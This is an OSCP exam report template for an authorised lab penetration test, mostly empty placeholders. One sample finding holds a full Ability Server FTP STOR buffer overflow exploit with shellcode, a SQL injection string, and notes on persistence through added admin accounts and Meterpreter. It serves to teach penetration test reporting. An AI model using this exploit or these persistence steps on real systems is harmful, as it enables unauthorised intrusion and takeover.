Offensive Security Certified

Professional Exam Report

OSCP Exam Report

YOUR-EMAIL, OSID: OS-99999999

2023-08-12
Contents

1 Offensive Security OSCP Exam Report 1

1.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
1.2 Objective . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
1.3 Requirements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1

2 High-Level Summary 3
2.1 Sample Report - Recommendations . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3

3 Methodologies 4
3.1 Information Gathering . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
3.2 Service Enumeration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
3.3 Penetration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
3.4 Maintaining Access . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
3.5 House Cleaning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5

4 Independent Challenges 6
4.1 Target #1 - 192.168.x.x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
4.1.1 Service Enumeration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
4.1.2 Initial Access - Buffer Overflow . . . . . . . . . . . . . . . . . . . . . . . . . . 6
4.1.3 Privilege Escalation - MySQL Injection . . . . . . . . . . . . . . . . . . . . . . 9
4.1.4 Post-Exploitation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
4.2 Target #2 - 192.168.x.x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
4.2.1 Service Enumeration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
4.2.2 Initial Access - XXX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
4.2.3 Privilege Escalation - XXX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
4.2.4 Post-Exploitation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
4.3 Target #3 - 192.168.x.x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
4.3.1 Service Enumeration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
4.3.2 Initial Access - XXX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
4.3.3 Privilege Escalation - XXX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
4.3.4 Post-Exploitation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12

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5 Active Directory Set 13

5.1 Hostname1: 192.168.x.x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
5.1.1 Initial Access - XXX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
5.1.2 Privilege Escalation - XXX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
5.1.3 Post-Exploitation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14
5.2 Hostname2: 192.168.x.x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14
5.2.1 Initial Access - XXX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14
5.2.2 Privilege Escalation - XXX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14
5.2.3 Post-Exploitation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
5.3 Hostname3: 192.168.x.x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
5.3.1 Initial Access - XXX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
5.3.2 Privilege Escalation - XXX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
5.3.3 Post-Exploitation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15

6 Additional Items 16
6.1 Proof and Local Contents . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
6.2 Metasploit/Meterpreter Usage . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16

YOUR-EMAIL, OSID: OS-99999999 ii

1 Offensive Security OSCP Exam Report

1.1 Introduction

The Offensive Security Exam penetration test report contains all efforts that were conducted in order
to pass the Offensive Security course.

This report should contain all items that were used to pass the overall exam and it will be graded from
a standpoint of correctness and fullness to all aspects of the exam. The purpose of this report is to
ensure that the student has a full understanding of penetration testing methodologies as well as the
technical knowledge to pass the qualifications for the Offensive Security Certified Professional.

1.2 Objective

The objective of this assessment is to perform an internal penetration test against the Offensive Security
Lab and Exam network. The student is tasked with following methodical approach in obtaining access
to the objective goals.

This test should simulate an actual penetration test and how you would start from beginning to end,
including the overall report.

An example page has already been created for you at the latter portions of this document that should
give you ample information on what is expected to pass this course. Use the sample report as a
guideline to get you through the reporting.

1.3 Requirements

The student will be required to fill out this penetration testing report fully and to include the following
sections:

• Overall High-Level Summary and Recommendations (non-technical)

• Methodology walkthrough and detailed outline of steps taken

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Offensive Security Certified Professional Exam Report 2023-08-12

• Each finding with included screenshots, walkthrough, sample code, and proof.txt if applicable.

• Any additional items that were not included

YOUR-EMAIL, OSID: OS-99999999 2

2 High-Level Summary

John Doe was tasked with performing an internal penetration test towards Offensive Security Labs.
An internal penetration test is a dedicated attack against internally connected systems. The focus of
this test is to perform attacks, similar to those of a hacker and attempt to infiltrate Offensive Security’s
internal lab systems - the THINC.local domain. John’s overall objective was to evaluate the network,
identify systems, and exploit flaws while reporting the findings back to Offensive Security.

When performing the internal penetration test, there were several alarming vulnerabilities that were
identified on Offensive Security’s network. When performing the attacks, John was able to gain access
to multiple machines, primarily due to outdated patches and poor security configurations. During
the testing, John had administrative level access to multiple systems. All systems were successfully
exploited and access granted. These systems as well as a brief description on how access was obtained
are listed below:

• Active Directory Set:

– HOSTNAME - Name of initial exploit

– HOSTNAME - Name of initial exploit
– HOSTNAME - Name of initial exploit

• Standalone 1 - HOSTNAME - Name of initial exploit

• Standalone 2 - HOSTNAME - Name of initial exploit
• Standalone 3 - HOSTNAME - Name of initial exploit

2.1 Sample Report - Recommendations

John recommends patching the vulnerabilities identified during the testing to ensure that an attacker
cannot exploit these systems in the future. One thing to remember is that these systems require
frequent patching and once patched, should remain on a regular patch program to protect additional
vulnerabilities that are discovered at a later date.

3
3 Methodologies

John utilized a widely adopted approach to performing penetration testing that is effective in testing
how well the Offensive Security Labs and Exam environments are secure. Below is a breakout of how
John was able to identify and exploit the variety of systems and includes all individual vulnerabilities
found.

3.1 Information Gathering

The information gathering portion of a penetration test focuses on identifying the scope of the pene-
tration test. During this penetration test, John was tasked with exploiting the lab and exam network.
The specific IP addresses were:

Exam Network

172.16.203.133, 172.16.203.134, 172.16.203.135, 172.16.203.136

3.2 Service Enumeration

The service enumeration portion of a penetration test focuses on gathering information about what
services are alive on a system or systems. This is valuable for an attacker as it provides detailed
information on potential attack vectors into a system. Understanding what applications are running
on the system gives an attacker needed information before performing the actual penetration test. In
some cases, some ports may not be listed.

3.3 Penetration

The penetration testing portions of the assessment focus heavily on gaining access to a variety of
systems. During this penetration test, John was able to successfully gain access to X out of the X
systems.

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Offensive Security Certified Professional Exam Report 2023-08-12

3.4 Maintaining Access

Maintaining access to a system is important to us as attackers, ensuring that we can get back into
a system after it has been exploited is invaluable. The maintaining access phase of the penetration
test focuses on ensuring that once the focused attack has occurred (i.e. a buffer overflow), we have
administrative access over the system again. Many exploits may only be exploitable once and we may
never be able to get back into a system after we have already performed the exploit.

John added administrator and root level accounts on all systems compromised. In addition to the
administrative/root access, a Metasploit meterpreter service was installed on the machine to ensure
that additional access could be established.

3.5 House Cleaning

The house cleaning portions of the assessment ensures that remnants of the penetration test are
removed. Often fragments of tools or user accounts are left on an organizations computer which
can cause security issues down the road. Ensuring that we are meticulous and no remnants of our
penetration test are left over is important.

After the trophies on the exam network were completed, John removed all user accounts and passwords
as well as the meterpreter services installed on the system. Offensive Security should not have to
remove any user accounts or services from the system.

YOUR-EMAIL, OSID: OS-99999999 5

4 Independent Challenges

4.1 Target #1 - 192.168.x.x

4.1.1 Service Enumeration

Port Scan Results

Server IP Address Ports Open

192.168.1.1 TCP: 21,22,25,80,443

FTP Enumeration

Upon manual enumeration of the available FTP service, John noticed it was running an outdated version
2.3.4 that is prone to the remote buffer overflow vulnerability.

4.1.2 Initial Access - Buffer Overflow

Vulnerability Explanation: Ability Server 2.34 is subject to a buffer overflow vulnerability in STOR
field. Attackers can use this vulnerability to cause arbitrary remote code execution and take completely
control over the system.

Vulnerability Fix: The publishers of the Ability Server have issued a patch to fix this known issue. It
can be found here: http://www.code-crafters.com/abilityserver/

Severity: Critical

Steps to reproduce the attack: The operating system was different from the known public exploit. A
rewritten exploit was needed in order for successful code execution to occur. Once the exploit was
rewritten, a targeted attack was performed on the system which gave John full administrative access
over the system.

Proof of Concept Code Here: Modifications to the existing exploit was needed and is highlighted in
red.

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Offensive Security Certified Professional Exam Report 2023-08-12

1 ###################################
2 # Ability Server 2.34 FTP STOR Buffer Overflow
3 # Advanced, secure and easy to use FTP Server.
4 # 21 Oct 2004 - muts
5 ###################################
6 # D:\BO>ability-2.34-ftp-stor.py
7 ###################################
8 # D:\data\tools>nc -v 127.0.0.1 4444
9 # localhost [127.0.0.1] 4444 (?) open
10 # Microsoft Windows XP [Version 5.1.2600]
11 # (C) Copyright 1985-2001 Microsoft Corp.
12 # D:\Program Files\abilitywebserver>
13 ###################################
14
15 import ftplib
16 from ftplib import FTP
17 import struct
18 print "\n\n################################"
19 print "\nAbility Server 2.34 FTP STOR buffer Overflow"
20 print "\nFor Educational Purposes Only!\n"
21 print "###################################"
22
23 # Shellcode taken from Sergio Alvarez's "Win32 Stack Buffer Overflow Tutorial"
24
25 sc = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66"
26 sc += "\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6"
27 sc += "\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba"
28 sc += "\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb"
29 sc += "\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc"
30 sc += "\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61"
31 sc += "\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70"
32 sc += "\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44"
33 sc += "\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7"
34 sc += "\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69"
35 sc += "\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9"
36 sc += "\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0"
37 sc += "\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3"
38 sc += "\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7"
39 sc += "\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0"
40 sc += "\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67"
41 sc += "\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1"
42 sc += "\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0"
43 sc += "\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88"
44 sc += "\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d"
45 sc += "\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95"
46 sc += "\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2"
47 # Change RET address if need be.
48 buffer = '\x41'*966+struct.pack('<L', 0x7C2FA0F7)+'\x42'*32+sc # RET Windows 2000 Server
SP4
49 #buffer = '\x41'*970+struct.pack('<L', 0x7D17D737)+'\x42'*32+sc # RET Windows XP SP2
50 try:
51 # Edit the IP, Username and Password.
52 ftp = FTP('127.0.0.1')
53 ftp.login('ftp','ftp')
54 print "\nEvil Buffer sent..."
55 print "\nTry connecting with netcat to port 4444 on the remote machine."
56 except:
57 print "\nCould not Connect to FTP Server."
58 try:
59 ftp.transfercmd("STOR " + buffer)
60 except:
61 print "\nDone."

YOUR-EMAIL, OSID: OS-99999999 7

Offensive Security Certified Professional Exam Report 2023-08-12

Proof Screenshot:

Figure 4.1: ImgPlaceholder

YOUR-EMAIL, OSID: OS-99999999 8

Offensive Security Certified Professional Exam Report 2023-08-12

4.1.3 Privilege Escalation - MySQL Injection

Vulnerability Explanation: After establishing a foothold on target, John noticed there were several
applications running locally, one of them, a custom web application on port 80 was prone to SQL
Injection attacks. Using Chisel for port forwarding, John was able to access the web application. When
performing the penetration test, John noticed error-based MySQL Injection on the taxid query string
parameter. While enumerating table data, John was able to successfully extract the database root
account login and password credentials that were unencrypted that also matched username and
password accounts for the administrative user account on the system and John was able to log in
remotely using RDP. This allowed for a successful breach of the operating system as well as all data
contained on the system.

Vulnerability Fix: Since this is a custom web application, a specific update will not properly solve
this issue. The application will need to be programmed to properly sanitize user-input data, ensure
that the user is running off of a limited user account, and that any sensitive data stored within the
SQL database is properly encrypted. Custom error messages are highly recommended, as it becomes
more challenging for the attacker to exploit a given weakness if errors are not being presented back to
them.

Severity: Critical

Steps to reproduce the attack:

Proof of Concept Code Here:

1 SELECT * FROM login WHERE id = 1 or 1=1 AND user LIKE "%root%"

4.1.4 Post-Exploitation

System Proof Screenshot:

YOUR-EMAIL, OSID: OS-99999999 9

Offensive Security Certified Professional Exam Report 2023-08-12

Figure 4.2: ImgPlaceholder

4.2 Target #2 - 192.168.x.x

4.2.1 Service Enumeration

Server IP Address Ports Open

192.168.1.2 TCP: 22,55,90,8080,80

Nmap Scan Results:

Initial Shell Vulnerability Exploited

Additional info about where the initial shell was acquired from

4.2.2 Initial Access - XXX

Vulnerability Explanation:

Vulnerability Fix:

Severity:

YOUR-EMAIL, OSID: OS-99999999 10

Offensive Security Certified Professional Exam Report 2023-08-12

Steps to reproduce the attack:

Proof of Concept Code:

Proof Screenshot:

local.txt content:

4.2.3 Privilege Escalation - XXX

Vulnerability Explanation:

Vulnerability Fix:

Severity:

Steps to reproduce the attack:

Proof of Concept Code:

4.2.4 Post-Exploitation

Proof Screenshot:

proof.txt content:

4.3 Target #3 - 192.168.x.x

4.3.1 Service Enumeration

Server IP Address Ports Open

192.168.1.3 TCP: 1433,3389

UDP: 1434,161

Nmap Scan Results:

Initial Shell Vulnerability Exploited

Additional info about where the initial shell was acquired from

YOUR-EMAIL, OSID: OS-99999999 11

Offensive Security Certified Professional Exam Report 2023-08-12

4.3.2 Initial Access - XXX

Vulnerability Explanation:

Vulnerability Fix:

Severity:

Steps to reproduce the attack:

Proof of Concept Code:

Proof Screenshot:

local.txt content:

4.3.3 Privilege Escalation - XXX

Vulnerability Explanation:

Vulnerability Fix:

Severity:

Steps to reproduce the attack:

Proof of Concept Code:

4.3.4 Post-Exploitation

Proof Screenshot:

proof.txt content:

YOUR-EMAIL, OSID: OS-99999999 12

5 Active Directory Set

Port Scan Results

IP Address Ports Open

192.168.x.x TCP: 1433,3389

UDP: 1434,161
192.168.x.x TCP: 1433,3389
UDP: 1434,161
192.168.x.x TCP: 1433,3389
UDP: 1434,161

5.1 Hostname1: 192.168.x.x

5.1.1 Initial Access - XXX

Vulnerability Explanation:

Vulnerability Fix:

Severity:

Steps to reproduce the attack:

Proof of Concept Code:

Proof Screenshot:

local.txt content:

5.1.2 Privilege Escalation - XXX

Vulnerability Explanation:

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Offensive Security Certified Professional Exam Report 2023-08-12

Vulnerability Fix:

Severity:

Steps to reproduce the attack:

Proof of Concept Code:

5.1.3 Post-Exploitation

Proof Screenshot:

proof.txt content:

5.2 Hostname2: 192.168.x.x

5.2.1 Initial Access - XXX

Vulnerability Explanation:

Vulnerability Fix:

Severity:

Steps to reproduce the attack:

Proof of Concept Code:

Proof Screenshot:

local.txt content:

5.2.2 Privilege Escalation - XXX

Vulnerability Explanation:

Vulnerability Fix:

Severity:

Steps to reproduce the attack:

Proof of Concept Code:

YOUR-EMAIL, OSID: OS-99999999 14

Offensive Security Certified Professional Exam Report 2023-08-12

5.2.3 Post-Exploitation

Proof Screenshot:

proof.txt content:

5.3 Hostname3: 192.168.x.x

5.3.1 Initial Access - XXX

Vulnerability Explanation:

Vulnerability Fix:

Severity:

Steps to reproduce the attack:

Proof of Concept Code:

Proof Screenshot:

local.txt content:

5.3.2 Privilege Escalation - XXX

Vulnerability Explanation:

Vulnerability Fix:

Severity:

Steps to reproduce the attack:

Proof of Concept Code: Please see Appendix 1 for the complete Windows Buffer Overflow code.

5.3.3 Post-Exploitation

Proof Screenshot:

proof.txt content:

YOUR-EMAIL, OSID: OS-99999999 15

6 Additional Items

6.1 Proof and Local Contents

6.2 Metasploit/Meterpreter Usage

16